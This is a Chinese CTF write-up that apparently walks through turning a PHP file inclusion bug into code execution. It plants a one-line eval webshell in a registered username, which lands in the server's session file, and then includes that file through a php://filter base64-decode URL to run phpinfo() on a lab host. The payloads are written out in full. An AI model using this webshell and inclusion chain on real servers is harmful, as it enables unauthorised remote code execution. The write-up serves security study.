文件包含漏洞之包含SESSION(CTF题目)

这次使用的环境是ubuntu+nginx+php+mysql

首先四个文件源码在以下链接中:

一道CTF题:PHP文件包含 | Chybeta

我们注册一个用户名111密码111,然后登录查看cookie和linux的session,因为我们的de服务器

是手动搭建的,所以容易知道session的位置。

我们查看这个session:

复制代码
cd /var/lib/php/sessions

发现我们的用户名以base64编码的格式放在了session中,因此我们只要把含有木马的用户名注册了,这个木马就会以base64编码的格式放在session中,并且路径我们也是知道的。

我们把一句话木马注册,可以看到木马已经被放进数据库里面了,session中也存在

15

复制代码
192.168.87.134/session_upload/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php/sessions/sess_hej7e9k4vjusbpumknkvsks5f1

但是上面的payload不能执行,因为session中还包含着15位的前缀,需要让其乱码

需要重新注册一个base64编码后的名字长度大于100的

复制代码
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

重复上述步骤

注册这个用户名:

复制代码
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
复制代码
http://192.168.87.134/session_upload/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php/sessions/sess_bhbl2nhonauub8vko76g2ublkt&atebyhc=phpinfo();

成功!

相关推荐
GIS数据转换器35 分钟前
多旋翼无人机架空输电线路自动化巡检方案
运维·科技·安全·自动化·无人机·智慧城市·交互
广州华锐视点1 小时前
VR溺水安全:为生命筑牢数字化防线
安全·vr
gaynell8 小时前
网络安全管理之钓鱼演练应急预案
安全·web安全·网络安全·系统安全
AORO_BEIDOU9 小时前
遨游三防科普:三防平板是什么?有什么特殊功能?
人工智能·5g·安全·智能手机·电脑·信息与通信
0xCC说逆向9 小时前
Windows逆向工程提升之IMAGE_SECTION_HEADER
汇编·windows·单片机·嵌入式硬件·安全·逆向工程·pe结果
安全系统学习14 小时前
网络安全之身份验证绕过漏洞
运维·人工智能·安全·web安全·机器学习
上海云盾第一敬业销售16 小时前
API面临哪些风险,如何做好API安全?
服务器·网络·安全
heart000_116 小时前
【DevSecOps】从零到一:用OpenAI Codey与Trivy打造智能化安全扫描 CI/CD 流水线实战
安全·ci/cd
中烟创新16 小时前
安全可控的AI底座:灯塔大模型应用开发平台全面实现国产信创兼容适配认证
人工智能·安全
进取星辰17 小时前
33、魔法防御术——React 19 安全攻防实战
前端·安全·react.js